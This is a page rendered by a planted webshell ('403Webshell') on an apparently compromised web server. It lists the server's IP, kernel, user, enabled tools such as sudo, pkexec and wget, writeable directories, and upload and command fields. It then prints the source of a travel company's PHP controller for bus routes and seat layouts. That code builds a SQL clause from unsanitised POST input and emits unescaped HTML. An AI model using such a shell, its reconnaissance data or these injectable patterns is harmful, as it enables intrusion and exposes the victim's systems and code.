403Webshell
Server IP : 103.234.187.230  /  Your IP : 216.73.216.216
Web Server : Apache
System : Linux lserver42043-ind.megavelocity.net 3.10.0-1160.108.1.el7.x86_64 #1 SMP Thu Jan 25 16:17:31 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/b2bzend/application/modules/transport/controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/b2bzend/application/modules/transport/controllers/TransportsBusRouteController.php
<?php

/**
 * Class TransportRoute
 * @name		Transport Routes
 * @author		Pardeep Panchal
 * @version 	1.0
 * @copyright 	Catabatic India Pvt Ltd
 * Handle Transport Routes Related function
 *
 */
class Transport_TransportsBusRouteController extends Catabatic_ValidateGtx
{

    private $intLoggedinUserAgencySysId;
    private $intLoggedinUserId;
    private $intLoggedinUserTrxCurrency;
    private $IsB2CSite;
    private $SupplierTypeSysId;
    private $intLoggedinUserGroupSysId;
    private $InfoSourceSysId;
    public function init()
    {
        parent::init();
        $sessionLogin_user = new Zend_Session_Namespace('sessionLogin_user');
        $this->SupplierTypeSysId = 7;
        $this->intLoggedinUserId = $sessionLogin_user->intLoggedinUserId;
        $this->intLoggedinUserGroupSysId = $sessionLogin_user->intLoggedinUserGroupSysId;
        $this->intLoggedinUserAgencySysId = $sessionLogin_user->intLoggedinUserAgencySysId;
        $this->intLoggedinUserTrxCurrency = $sessionLogin_user->intLoggedinUserTrxCurrency;
        $this->IsB2CSite = $sessionLogin_user->agencyDetails['IsB2CSite'];
        if (!empty($this->intLoggedinUserAgencySysId)) {
            $this->InfoSourceSysId = '2'; // Information Source is Agent //
        }
    }

    public function indexAction()
    {
        $post = $this->getRequest()->getPost();
        $intLoggedinUserAgencySysId = $this->intLoggedinUserAgencySysId;
        $objTransportsRoutes = new Travel_Model_TblTransportsRoutes();
        $strBusTransportsRoutesListSQL = $objTransportsRoutes->busTransportsRoutesList($intLoggedinUserAgencySysId);
        $paginator = Zend_Paginator::factory($strBusTransportsRoutesListSQL);
        $pageNumber = $this->_getParam('page', 1);
        $paginator->setCurrentPageNumber($pageNumber);
        $paginator->setItemCountPerPage(GRID_PER_PAGE_RECORD_COUNT);
        $this->view->page = $pageNumber;
        $this->view->per_page_record = GRID_PER_PAGE_RECORD_COUNT;
        $this->view->arrTransportsRoutesList = $paginator;
        $this->view->messages = $this->_helper->flashMessenger->getMessages();
    }

    public function addBusRouteAction()
    {
        $intLoggedinUserAgencySysId = $this->intLoggedinUserAgencySysId;
        $objTransportsRoutes = new Travel_Model_TblTransportsRoutes();
        if ($this->_request->isXmlHttpRequest()) {

            $this->_helper->viewRenderer->setNoRender(true);
            $this->_helper->layout->disableLayout();

            $post = $this->getRequest()->getPost();
            $StartCitySysId = $post['start_city_id'];
            $EndCitySysId = $post['end_city_id'];
            $pickup_location_NameArr = array();
            $currentDate = Zend_Date::now()->toString('yyyy-MM-dd HH:mm:ss');
            $m = 1;
            foreach ($post['pickup_location_Name'] as $pickkey => $pickvalue) {
                if (trim($pickvalue) != '') {
                    $pickup_location_NameArr[][$StartCitySysId . '_' . $EndCitySysId . '_' . $m] = trim($pickvalue);
                    $m++;
                }
            }


            $addDataArray = [
                'AgencySysId' => $intLoggedinUserAgencySysId,
                'busRouteName' => $post['busRouteName'],
                'StartCitySysId' => $post['start_city_id'],
                'EndCitySysId' => $post['end_city_id'],
                'StartCityName' => $post['start_city_name'],
                'EndCityName' => $post['end_city_name'],
                'BusPickUpLocationsStr' => json_encode($pickup_location_NameArr),
                'IsActive' => 1,
                'IsMarkForDel' => 0,
                'UpdateDate' => $currentDate,
                'CreateDate' => $currentDate,
            ];


            $BusRouteSysId = $objTransportsRoutes->addBusTransportRoute($addDataArray);
            if ($BusRouteSysId) {
                $response = array('success' => true, 'msg' => "Bus Transport Route Added Successfully.");

                echo json_encode($response);
                exit;
            }
        }
    }

    public function editBusRouteAction()
    {

        $intLoggedinUserAgencySysId = $this->intLoggedinUserAgencySysId;
        $objTransportsRoutes = new Travel_Model_TblTransportsRoutes();
        $this->view->BusRouteSysId = $BusRouteSysId = base64_decode($this->getRequest()->getParam('id'));


        if ($this->_request->isXmlHttpRequest()) {

            $this->_helper->viewRenderer->setNoRender(true);
            $this->_helper->layout->disableLayout();

            $post = $this->getRequest()->getPost();
            $StartCitySysId = $post['start_city_id'];
            $EndCitySysId = $post['end_city_id'];
            $pickup_location_NameArr = array();
            $currentDate = Zend_Date::now()->toString('yyyy-MM-dd HH:mm:ss');
            $m = 1;
            foreach ($post['pickup_location_Name'] as $pickkey => $pickvalue) {
                if (trim($pickvalue) != '') {
                    $pickup_location_NameArr[][$StartCitySysId . '_' . $EndCitySysId . '_' . $m] = trim($pickvalue);
                    $m++;
                }
            }


            $editDataArray = [
                'AgencySysId' => $intLoggedinUserAgencySysId,
                'busRouteName' => $post['busRouteName'],
                'StartCitySysId' => $post['start_city_id'],
                'EndCitySysId' => $post['end_city_id'],
                'StartCityName' => $post['start_city_name'],
                'EndCityName' => $post['end_city_name'],
                'BusPickUpLocationsStr' => json_encode($pickup_location_NameArr),
                'UpdateDate' => $currentDate,
            ];


            $BusRouteSysIdres = $objTransportsRoutes->updateBusTransportsRouteData($post['BusRouteSysId'], $editDataArray);
            if ($BusRouteSysIdres) {
                $response = array('success' => true, 'msg' => "Bus Transport Route Updated Successfully.");

                echo json_encode($response);
                exit;
            }
        } else {
            $editBusRouteData = $objTransportsRoutes->getBusTransportRouteDataById($intLoggedinUserAgencySysId, $BusRouteSysId);

            $this->view->editBusRouteData = $editBusRouteData;
        }
    }

    public function deleteBusRouteAction()
    {
        // disable layout... 
        $this->_helper->layout->disableLayout();
        $intId = base64_decode($this->getRequest()->getParam('id')); // exit;
        $data = array(
            "IsMarkForDel" => 1
        );
        $objTransportsRoutes = new Travel_Model_TblTransportsRoutes();
        $objTransportsRoutes->deleteBusTransportRoute($intId, $data);

        $this->view->message = $this->_helper->flashMessenger->addMessage("Transport Route deleted successfully.");
        $this->_redirect("/transport/transports-bus-route");
    }

    public function addPickupLocationTimeAction()
    {

        $intLoggedinUserAgencySysId = $this->intLoggedinUserAgencySysId;
        $objTransportsRoutes = new Travel_Model_TblTransportsRoutes();
        $this->view->BusRouteSysId = $BusRouteSysId = base64_decode($this->getRequest()->getParam('id'));
        $objPackage = new Travel_Model_TblPackage();
        if ($this->getRequest()->isPost()) {
            $postData = $this->getRequest()->getPost();
            $currentDate = Zend_Date::now()->toString('yyyy-MM-dd HH:mm:ss');
            $CheckBusPickupLocationTimeData = $objTransportsRoutes->getBusPickupLocationTimeDataById($intLoggedinUserAgencySysId, $postData['BusRouteSysId']);
            if (!empty($CheckBusPickupLocationTimeData)) {
                $BusRouteSysId = $postData['BusRouteSysId'];
                $updateArray = ['IsMarkForDel' => 1];
                $where = "BusRouteSysId = $BusRouteSysId  AND AgencySysId = $intLoggedinUserAgencySysId";
                $updateData = array('IsMarkForDel' => '1');
                $objPackage->updateData('TB_Agency_Transport_bus_Pickup_Time', $updateData, $where);
            }

            $m = 1;
            foreach ($postData['pickupLocationName'] as $pickKey => $pickValue) {

                $mKey = 'pickup_time' . $m;
                foreach ($postData[$mKey] as $timeKey => $timeValue) {
                    $insertArray = [
                        'AgencySysId' => $intLoggedinUserAgencySysId,
                        'BusRouteSysId' => $postData['BusRouteSysId'],
                        'busRouteName' => $postData['busRouteName'],
                        'pickupLocationName' => trim($pickValue),
                        'pickupLocationTime' => $timeValue,
                        'CreateTime' => $currentDate,
                        'IsActive' => 1,
                        'IsMarkForDel' => 0,
                        'Sequence' => (int) $postData['Sequence'][$pickKey],
                    ];
                    $BusPickupTimeSysId[] = $objPackage->insertData('TB_Agency_Transport_bus_Pickup_Time', $insertArray);
                }
                $m++;
            }
            if (!empty($BusPickupTimeSysId)) {
                $this->_helper->flashMessenger->addMessage("Content Save Successfully.");
                $this->_redirect('/transport/transports-bus-route');
            }
        } else {
            $BusRouteData = $objTransportsRoutes->getBusTransportRouteDataById($intLoggedinUserAgencySysId, $BusRouteSysId);
            $BusPickUpLocationsStr = json_decode($BusRouteData['BusPickUpLocationsStr'], 1);
            $finalLocationArray = array();
            $i = 1;
            foreach ($BusPickUpLocationsStr as $pickkey => $pickvalue) {

                $finkey = $BusRouteData["StartCitySysId"] . '_' . $BusRouteData["EndCitySysId"] . '_' . $i;
                $finalLocationArray[] = $pickvalue[$finkey];
                $i++;
            }
            $BusPickupLocationTimeData = $objTransportsRoutes->getBusPickupLocationTimeDataById($intLoggedinUserAgencySysId, $BusRouteSysId);

            $BusPickupLocationTimeDataArray = array();
            $myArray = array();
            $i = 1;

            foreach ($BusPickupLocationTimeData as $timeKey => $timeValue) {

                if (!in_array(trim($timeValue['Sequence']), $myArray)) {
                    $myArray[] = trim($timeValue['Sequence']);
                    $i = 0;
                } else {
                    $i++;
                }

                $BusPickupLocationTimeDataArray[$i][] = [
                    'pickupLocationTime' => $timeValue['pickupLocationTime']->format('H:i'),
                ];
            }
            //            echo "<pre>";print_r($BusPickupLocationTimeDataArray);die;

            $this->view->BusPickupLocationTimeDataArray = $BusPickupLocationTimeDataArray;
            $this->view->finalLocationArray = $finalLocationArray;
            $this->view->busRouteName = $BusRouteData['busRouteName'];
        }
    }

    public function addMorePickuptimeRowAction()
    {

        $this->_helper->viewRenderer->setNoRender(true);
        $this->_helper->layout->disableLayout();

        $params = $this->getRequest()->getParams();
        $count = $params['count'] + 1;
        //            echo "<pre>";print_r($params);die;

        $returnOption = '<tr id="remove_datesTr' . $count . '"><script src="/public/assets/js/pages/pickerToolFlight.js"></script>';
        for ($m = 1; $m <= $params['count_locations']; $m++) {
            $returnOption .= '<td><input type="text" name="pickup_time' . $m . '[]" id="pickup_timeId' . $m . $count . '" class="form-control dateTimePickerm1" placeholder="Select Time"><span class="errorMsgAll errorMsg' . $m . $count . '"></span></td>';
        }

        $returnOption .= '<td><a data-original-title="Delete" class="btn  btn-danger tooltipLink" data-toggle="tooltip" data-placement="top" title="" onclick="removeLocationTimeTr(' . $count . ')" ><i class="fa fa-trash-o"></i></a></td></tr>';
        echo $returnOption;
        exit;
    }

    public function getPickupLocationAndTimeAction()
    {
        $intLoggedinUserAgencySysId = $this->intLoggedinUserAgencySysId;
        $objTransportsRoutes = new Travel_Model_TblTransportsRoutes();
        $this->_helper->viewRenderer->setNoRender(true);
        $this->_helper->layout->disableLayout();

        $params = $this->getRequest()->getParams();
        $BusRouteSysId = $params['BusRouteSysId'];
        $PickupLocationData = $objTransportsRoutes->getBusPickupLocationTimeDataById($intLoggedinUserAgencySysId, $BusRouteSysId);

        //            echo "<pre>";print_r($PickupLocationData);die;

        $PickupLocationDataArray = array();
        $html = '';

        foreach ($PickupLocationData as $key => $value) {

            $PickupLocationDataArray[$value['Sequence']]['pickupLocationName'] = $value['pickupLocationName'];
            $PickupLocationDataArray[$value['Sequence']]['pickupLocationTime'][] = $value['pickupLocationTime']->format('H:i');
        }
        $i = 1;
        foreach ($PickupLocationDataArray as $pickkey => $pickvalue) {
            $timeHtml = '';
            foreach ($pickvalue['pickupLocationTime'] as $timekey => $timevalue) {

                $timeHtml .= '&nbsp;&nbsp;<input type="checkbox" name="LocationTime' . $i . '[]" value="' . $timevalue . '" checked>&nbsp;' . $timevalue;
            }

            $html .= '<input type="hidden" name="pickupLocationName[]" value="' . $pickvalue['pickupLocationName'] . '">' . $pickvalue['pickupLocationName'] . ' &nbsp;&nbsp;(Time : ' . $timeHtml . ')<br>';

            $i++;
        }
        $html .= '';
        echo $html;
        exit;
        //            
    }

    public function addbusAction()
    {

        $objBus = new Travel_Model_TblBus();
        $BusId = $this->getRequest()->getParam('id');
        $busDetails = [];
        if (isset($BusId) && !empty($BusId)) {
            $busDetails = $objBus->busDetails(base64_decode($BusId), $this->intLoggedinUserAgencySysId);
        }
        // echo "<pre>";
        // print_r($busDetails);
        // exit;
        if ($this->getRequest()->isPost()) {
            $post = $this->getRequest()->getPost();

            $updateDate = Zend_Date::now()->toString('yyyy-MM-dd HH:mm:ss');
            $createDate = Zend_Date::now()->toString('yyyy-MM-dd HH:mm:ss');
            $BusId = isset($post['BusId']) ? base64_decode($post['BusId']) : '0';
            $Mticket = isset($post['Mticket']) ? (int)$post['Mticket'] : 0;
            $onBoardToilet = isset($post['onBoardToilet']) ? (int)$post['onBoardToilet'] : 0;
            $IsAc = isset($post['IsAc']) ? (int)$post['IsAc'] : 0;
            $blanckets = isset($post['blanckets']) ? (int)$post['blanckets'] : 0;
            $pillow = isset($post['pillow']) ? (int)$post['pillow'] : 0;
            $livetracking = isset($post['livetracking']) ? (int)$post['livetracking'] : 0;
            $cctv = isset($post['cctv']) ? (int)$post['cctv'] : 0;
            $readinglight = isset($post['readinglight']) ? (int)$post['readinglight'] : 0;
            $chargingpoint = isset($post['chargingpoint']) ? (int)$post['chargingpoint'] : 0;
            $bedsheet = isset($post['bedsheet']) ? (int)$post['bedsheet'] : 0;
            $waterbottle = isset($post['waterbottle']) ? (int)$post['waterbottle'] : 0;
            $usbport = isset($post['usbport']) ? (int)$post['usbport'] : 0;
            $disposableseatcover = isset($post['disposableseatcover']) ? (int)$post['disposableseatcover'] : 0;
            $layout_type = isset($post['layout_type']) ? $post['layout_type'] : '';
            $Title = isset($post['Title']) ? $post['Title'] : '';
            $Description = isset($post['Description']) ? $post['Description'] : '';
            if (!empty($_FILES['image']['name'])) {
                $unique = 'bus__' . time();
                $orignalFIleName = explode(".", $_FILES['image']['name']);
                $fileExt = end($orignalFIleName);
                $file_name = $unique . '.' . $fileExt;
                //$file_name = $unique . '_' . $_FILES['image']['name'];
                $imagename = $file_name ? $file_name : 'No File';

                $image_path = 'img/' . $this->intLoggedinUserAgencySysId . '/transport/bus';
                $DetailImg = IMAGE_PATH_URL_AWS . $image_path . '/' . $file_name;
                $data = array(
                    'AgencySysId' => $this->intLoggedinUserAgencySysId,
                    'image_path' => $image_path,
                    'tags' => 'package',
                    'title' => $file_name,
                    'FILES' => $_FILES["image"],
                    'fileName' => $file_name,
                );

                $toupload = Zend_Controller_Action_HelperBroker::getStaticHelper('FileUpload')->uploadToAWS($data);

                if ($toupload['status'] == false) {
                    $imagename = 'No File';
                }
            } else {
                if (!empty($busDetails)) {
                    if ($busDetails['image'] != "") {
                        $imagename = $busDetails['image'];
                    }
                } else {
                    $imagename = 'No File';
                }
            }

            if ($BusId != "" && $BusId != 0) {
                $UpdateDate = $busDetails['UpdatedDate'];
                $CreateDate = $busDetails['CreatedDate'];
                $IsActive = $busDetails['IsActive'];
                $IsMarkForDel = $busDetails['IsMarkForDelete'];
            } else {
                $UpdateDate = $updateDate;
                $CreateDate = $createDate;
                $IsActive = 1;
                $IsMarkForDel = 0;
            }

            $insert = array(
                'LayoutType' => $layout_type,
                'AgencySysId' => $this->intLoggedinUserAgencySysId,
                'Title' => $Title,
                'Description' => $Description,
                'image' => $imagename,
                'UpdatedDate' => $UpdateDate,
                'CreatedDate' => $CreateDate,
                'IsMarkForDelete' => $IsMarkForDel,
                'onBoardToilet' => $onBoardToilet,
                'Mticket' => $Mticket,
                'IsAc' => $IsAc,
                'blanckets' => $blanckets,
                'pillow' => $pillow,
                'livetracking' => $livetracking,
                'cctv' => $cctv,
                'readinglight' => $readinglight,
                'chargingpoint' => $chargingpoint,
                'bedsheet' => $bedsheet,
                'waterbottle' => $waterbottle,
                'usbport' => $usbport,
                'disposableseatcover' => $disposableseatcover,
                'IsActive' => $IsActive,
            );

            try {

                if ($BusId != "" && $BusId != 0) {
                    if ($objBus->checkDuplicate($insert, $BusId)) {

                        $this->_helper->flashMessenger->addMessage("Bus Already Exists with same details.");
                        $this->_redirect("transport/transports-bus-route/addbus");
                    } else {
                        $objBus->updateData($insert, $BusId);
                        $this->_helper->flashMessenger->addMessage("Bus saved successfully.");
                        $this->_redirect("transport/transports-bus-route/addbus");
                    }
                } else {
                    if ($objBus->checkDuplicate($insert)) {
                        $this->_helper->flashMessenger->addMessage("Bus Already Exists with same details.");
                        $this->_redirect("transport/transports-bus-route/addbus");
                    } else {
                        $objBus->insertData($insert);
                        $this->_helper->flashMessenger->addMessage("Bus saved successfully.");
                        $this->_redirect("transport/transports-bus-route/addbus");
                    }
                }
            } catch (Exception $e) {
                $response = array('success' => false, 'msg' => $e->getMessage());
                echo json_encode($response);
                exit;
            }
        }

        $post = $this->getRequest()->getPost();
        $intLoggedinUserAgencySysId = $this->intLoggedinUserAgencySysId;
        $strBusTransportsRoutesListSQL = $objBus->busList($intLoggedinUserAgencySysId);
        $paginator = Zend_Paginator::factory($strBusTransportsRoutesListSQL);
        $pageNumber = $this->_getParam('page', 1);
        $paginator->setCurrentPageNumber($pageNumber);
        $paginator->setItemCountPerPage(GRID_PER_PAGE_RECORD_COUNT);
        $this->view->page = $pageNumber;
        $this->view->per_page_record = GRID_PER_PAGE_RECORD_COUNT;
        $this->view->busList = $paginator;

        $this->view->LAYOUT_TYPE = unserialize(LAYOUT_TYPE);
        $this->view->BusId = $BusId;
        $this->view->busDetails = $busDetails;
        $this->view->intLoggedinUserAgencySysId = $intLoggedinUserAgencySysId;

        $busLayoutList = $objBus->busLayoutList($intLoggedinUserAgencySysId);
        $this->view->busLayoutList = $busLayoutList;
        // echo '<pre>';
        // print_r($busLayoutList);
        // die;
        $this->view->messages = $this->_helper->flashMessenger->getMessages();
    }

    public function deactivateBusAction()
    {
        $this->_helper->layout->disableLayout();
        $this->_helper->viewRenderer->setNoRender(true);

        $objBus = new Travel_Model_TblBus();
        $BusId = $this->getRequest()->getParam('id');
        $statusValue = '0';
        $intLoggedinUserAgencySysId = $this->intLoggedinUserAgencySysId;

        $isDeactive = $objBus->setActiveDeactiveBus($BusId, $intLoggedinUserAgencySysId, $statusValue);
        $message = @$isDeactive ? "Bus deactivated successfully." : "Bus deactivation failed.";
        $this->_helper->flashMessenger->addMessage($message);
        $this->_redirect("transport/transports-bus-route/addbus");
    }
    public function activateBusAction()
    {
        $this->_helper->layout->disableLayout();
        $this->_helper->viewRenderer->setNoRender(true);

        $objBus = new Travel_Model_TblBus();
        $BusId = $this->getRequest()->getParam('id');
        $statusValue = '1';
        $intLoggedinUserAgencySysId = $this->intLoggedinUserAgencySysId;

        $isDeactive = $objBus->setActiveDeactiveBus($BusId, $intLoggedinUserAgencySysId, $statusValue);
        $message = @$isDeactive ? "Bus activated successfully." : "Bus activated failed.";
        $this->_helper->flashMessenger->addMessage($message);
        $this->_redirect("transport/transports-bus-route/addbus");
    }

    public function addbuslayoutAction()
    {
        // ini_set('display_errors', 1);
        // ini_set('display_startup_errors', 1);
        // error_reporting(E_ALL);
        $objBus = new Travel_Model_TblBus();
        $BusLayoutsId = $this->getRequest()->getParam('id');
        $busLayoutDetails = [];
        if (isset($BusLayoutsId) && !empty($BusLayoutsId)) {
            $busLayoutDetails = $objBus->busLayoutDetailsEdit(base64_decode($BusLayoutsId), $this->intLoggedinUserAgencySysId);
        }

        if ($this->getRequest()->isPost()) {
            $post = $this->getRequest()->getPost();

            $updateDate = Zend_Date::now()->toString('yyyy-MM-dd HH:mm:ss');
            $createDate = Zend_Date::now()->toString('yyyy-MM-dd HH:mm:ss');
            $BusLayoutsId = isset($post['BusLayoutsId']) ? base64_decode($post['BusLayoutsId']) : '0';
            $BusId = isset($post['BusId']) ? ($post['BusId']) : '0';
            $TotalSeats = isset($post['TotalSeats']) ? ($post['TotalSeats']) : '0';
            $Title = isset($post['Title']) ? $post['Title'] : '';
            $LowerFloor = (isset($post['LowerFloor']) && !empty($post['LowerFloor'])) ? $post['LowerFloor'] : 0;
            $UpperFloor = (isset($post['UpperFloor']) && !empty($post['UpperFloor'])) ? $post['UpperFloor'] : 0;
            $layout_type = (isset($post['layout_type']) && !empty($post['layout_type'])) ? $post['layout_type'] : 0;
            $TotalSleepers = (isset($post['TotalSleepers']) && !empty($post['TotalSleepers'])) ? $post['TotalSleepers'] : 0;
            $Description = isset($post['Description']) ? $post['Description'] : '';
            if (!empty($_FILES['image']['name'])) {
                $unique = 'buslayout__' . time();
                $orignalFIleName = explode(".", $_FILES['image']['name']);
                $fileExt = end($orignalFIleName);
                $file_name = $unique . '.' . $fileExt;
                //$file_name = $unique . '_' . $_FILES['image']['name'];
                $imagename = $file_name ? $file_name : 'No File';

                $image_path = 'img/' . $this->intLoggedinUserAgencySysId . '/transport/bus';
                $DetailImg = IMAGE_PATH_URL_AWS . $image_path . '/' . $file_name;
                $data = array(
                    'AgencySysId' => $this->intLoggedinUserAgencySysId,
                    'image_path' => $image_path,
                    'tags' => 'package',
                    'title' => $file_name,
                    'FILES' => $_FILES["image"],
                    'fileName' => $file_name,
                );

                $toupload = Zend_Controller_Action_HelperBroker::getStaticHelper('FileUpload')->uploadToAWS($data);

                if ($toupload['status'] == false) {
                    $imagename = 'No File';
                }
            } else {
                if (!empty($busLayoutDetails)) {
                    if ($busLayoutDetails['image'] != "") {
                        $imagename = $busLayoutDetails['image'];
                    }
                } else {
                    $imagename = 'No File';
                }
            }

            if ($BusLayoutsId != "" && $BusLayoutsId != 0) {
                $UpdateDate = $busLayoutDetails['UpdatedDate'];
                $CreateDate = $busLayoutDetails['CreatedDate'];
                $IsActive = $busLayoutDetails['IsActive'];
                $IsMarkForDel = $busLayoutDetails['IsMarkForDelete'];
            } else {
                $UpdateDate = $updateDate;
                $CreateDate = $createDate;
                $IsActive = 1;
                $IsMarkForDel = 0;
            }

            $insert = array(
                'AgencySysId' => $this->intLoggedinUserAgencySysId,
                'Title' => $Title,
                'TotalSeats' => $TotalSeats,
                'TotalSleepers' => $TotalSleepers,
                'LowerFloor' => $LowerFloor,
                'UpperFloor' => $UpperFloor,
                'layout_type' => $layout_type,
                'Description' => $Description,
                'image' => $imagename,
                'UpdatedDate' => $createDate,
                'CreatedDate' => $CreateDate,
                'IsMarkForDelete' => $IsMarkForDel,
                'IsActive' => $IsActive,
            );
            // echo '<pre>';
            // print_r($insert);
            // die;
            try {

                if ($BusLayoutsId != "" && $BusLayoutsId != 0) {
                    if ($objBus->checkDuplicateLayout($insert, $BusLayoutsId)) {

                        $this->_helper->flashMessenger->addMessage("Layout Already Exists with same details.");
                        $this->_redirect("transport/transports-bus-route/addbuslayout");
                    } else {
                        $objBus->updateLayoutData($insert, $BusLayoutsId);
                        $this->_helper->flashMessenger->addMessage("Layout saved successfully.");
                        $this->_redirect("transport/transports-bus-route/add-layouts/id/" . base64_encode($BusLayoutsId));
                    }
                } else {
                    if ($objBus->checkDuplicateLayout($insert)) {
                        $this->_helper->flashMessenger->addMessage("Layout Already Exists with same details.");
                        $this->_redirect("transport/transports-bus-route/addbuslayout");
                    } else {
                        $insertId = $objBus->insertLayoutData($insert);
                        $this->_helper->flashMessenger->addMessage("Layout saved successfully.");
                        $this->_redirect("transport/transports-bus-route/add-layouts/id/" . base64_encode($insertId));
                    }
                }
            } catch (Exception $e) {
                $response = array('success' => false, 'msg' => $e->getMessage());
                echo json_encode($response);
                exit;
            }
        }

        $post = $this->getRequest()->getPost();
        $intLoggedinUserAgencySysId = $this->intLoggedinUserAgencySysId;
        $strBusTransportsRoutesListSQL = $objBus->busLayoutList($intLoggedinUserAgencySysId);
        $paginator = Zend_Paginator::factory($strBusTransportsRoutesListSQL);
        $pageNumber = $this->_getParam('page', 1);
        $paginator->setCurrentPageNumber($pageNumber);
        $paginator->setItemCountPerPage(GRID_PER_PAGE_RECORD_COUNT);
        $this->view->page = $pageNumber;
        $this->view->per_page_record = GRID_PER_PAGE_RECORD_COUNT;
        $this->view->busLayoutList = $paginator;
        // echo '<pre>';
        // print_r($busLayoutDetails);
        // die;
        $this->view->LAYOUT_TYPE = unserialize(LAYOUT_TYPE);
        $this->view->BusLayoutsId = $BusLayoutsId;
        $this->view->busLayoutDetails = $busLayoutDetails;
        $this->view->busTypeList = $objBus->busList($intLoggedinUserAgencySysId);
        $this->view->intLoggedinUserAgencySysId = $intLoggedinUserAgencySysId;

        $this->view->messages = $this->_helper->flashMessenger->getMessages();
    }

    public function deactivateBuslayoutAction()
    {
        $this->_helper->layout->disableLayout();
        $this->_helper->viewRenderer->setNoRender(true);

        $objBus = new Travel_Model_TblBus();
        $BusLayoutsId = $this->getRequest()->getParam('id');
        $statusValue = '0';
        $intLoggedinUserAgencySysId = $this->intLoggedinUserAgencySysId;

        $isDeactive = $objBus->setActiveDeactiveBusLayout($BusLayoutsId, $intLoggedinUserAgencySysId, $statusValue);
        $message = @$isDeactive ? "Bus Layout deactivated successfully." : "Bus Layout deactivation failed.";
        $this->_helper->flashMessenger->addMessage($message);
        $this->_redirect("transport/transports-bus-route/addbuslayout");
    }
    public function activateBuslayoutAction()
    {
        $this->_helper->layout->disableLayout();
        $this->_helper->viewRenderer->setNoRender(true);

        $objBus = new Travel_Model_TblBus();
        $BusLayoutsId = $this->getRequest()->getParam('id');
        $statusValue = '1';
        $intLoggedinUserAgencySysId = $this->intLoggedinUserAgencySysId;

        $isDeactive = $objBus->setActiveDeactiveBusLayout($BusLayoutsId, $intLoggedinUserAgencySysId, $statusValue);
        $message = @$isDeactive ? "Bus Layout activated successfully." : "Bus Layout activated failed.";
        $this->_helper->flashMessenger->addMessage($message);
        $this->_redirect("transport/transports-bus-route/addbuslayout");
    }
    public function busLayoutsAction()
    {
        $this->view->arrTransportsRoutesList = array();
    }
    public function addLayoutsAction()
    {
        // ini_set('display_errors', 1);
        // ini_set('display_startup_errors', 1);
        // error_reporting(E_ALL);
        $objBus = new Travel_Model_TblBus();
        $BusLayoutsId = $this->getRequest()->getParam('id');
        $busLayoutDetails = [];
        $BusSeatsDetails = [];
        if (isset($BusLayoutsId) && !empty($BusLayoutsId)) {
            $busLayoutDetails = $objBus->busLayoutDetailsEdit(base64_decode($BusLayoutsId), $this->intLoggedinUserAgencySysId);
            $BusSeatsDetails = $objBus->BusSeatsDetails(base64_decode($BusLayoutsId), $this->intLoggedinUserAgencySysId);
        }

        if ($this->getRequest()->isPost()) {
            $getData = $this->getRequest()->getPost();
            $SeatJson = json_decode($getData['SeatJson'], 1);
            $this->view->SeatJson = $getData['SeatJson'];
            $updateDate = Zend_Date::now()->toString('yyyy-MM-dd HH:mm:ss');
            $BusSeatsIds = !empty($BusSeatsDetails['BusSeatsId']) ? ($BusSeatsDetails['BusSeatsId']) : [];

            $BusSeatsIdData = [];

            if ($SeatJson) {
                foreach ($SeatJson as $key => $val) {
                    if ($val) {
                        foreach ($val as $keys => $value) {
                            $BusSeatsId = (isset($value['BusSeatsId']) && ($value['BusSeatsId'] > 0)) ? $value['BusSeatsId'] : 0;

                            if ((isset($value['type']) && !empty($value['type']) && $value['type'] == 'seater')) {
                                $SeatType = 1;
                            } elseif ((isset($value['type']) && !empty($value['type']) && $value['type'] == 'sleeper')) {
                                $SeatType = 2;
                            } else {
                                $SeatType = 0;
                            }
                            $seatno = isset($value['seatno']) ? $value['seatno'] : 0;
                            $insert = array(
                                'rows' => $key,
                                'columns' => $keys,
                                // 'BusId' => $busLayoutDetails['BusId'],
                                'BusLayoutsId' => $busLayoutDetails['BusLayoutsId'],
                                'AgencySysId' => $this->intLoggedinUserAgencySysId,
                                'SeatType' => $SeatType,
                                'SeatNo' => isset($value['seatno']) ? $value['seatno'] : 0,
                                'IsMarkForDelete' => 0,
                                'IsActive' => 1,
                                'IsReserved' => 0,
                                'AdultCost' => 0,
                                'ChildCost' => 0,
                                'InfantCost' => 0,
                                'MarkupType' => 0,
                                'B2cAdultMarkup' => 0,
                                'B2cChildMarkup' => 0,
                                'B2cInfantMarkup' => 0,
                                'B2bAdultMarkup' => 0,
                                'B2bChildMarkup' => 0,
                                'B2bInfantMarkup' => 0,
                            );

                            //if (isset($value['seatno'])) {
                            $BusSeatsIdData[] = $BusSeatsId;
                            //}

                            if ($BusSeatsId > 0) {
                                $insert['UpdatedDate'] = $updateDate;
                                $objBus->updateBusSeatData($insert, $BusSeatsId);
                            } else {
                                $insert['UpdatedDate'] = $updateDate;
                                $insert['CreatedDate'] = $updateDate;
                                $objBus->insertBusSeats($insert);
                            }
                        }
                    }
                }

                $missingValues = array_diff($BusSeatsIds, $BusSeatsIdData);
                // print_r($missingValues);
                // echo "<pre>";
                // print_r($BusSeatsIds);
                // die('ddd');
                if (!empty($missingValues)) {
                    $DeleteData['IsMarkForDelete'] = 1;
                    $DeleteData['IsActive'] = 1;
                    $DeleteData['UpdatedDate'] = $updateDate;
                    $array_diff_ids = array_values($missingValues);
                    // $array_diff_ids = array_values(array_diff($BusSeatsIds, $BusSeatsIdData));
                    if (!empty($array_diff_ids)) {
                        $where = array(
                            'BusSeatsId IN (?)' => $array_diff_ids,
                        );
                        $objBus->updateBusSeatDataWhereIn($DeleteData, $where);
                    }
                }

                $this->_helper->flashMessenger->addMessage("Bus Seat Map saved successfully.");
                $this->_redirect("transport/transports-bus-route/addbuslayout");
            }
        }
        $this->view->SeatData = (!empty($BusSeatsDetails['SeatData']) ? $BusSeatsDetails['SeatData'] : []);
        $this->view->SeatJson = $SeatJson = json_encode(!empty($BusSeatsDetails['SeatData']) ? $BusSeatsDetails['SeatData'] : []);
        $this->view->busLayoutDetails = $busLayoutDetails;
        $this->view->BusLayoutsId = $BusLayoutsId;
        $this->view->LAYOUT_TYPE = unserialize(LAYOUT_TYPE);
        // echo "<pre>";
        // print_r($SeatJson);
        // exit;
        // echo '';
    }
    public function seatmapAction()
    {
        $objBus = new Travel_Model_TblBus();
        if ($this->getRequest()->isPost()) {
            $getData = $this->getRequest()->getPost();
            $TPSysId = isset($getData['TPSysId']) ? $getData['TPSysId'] : 0;
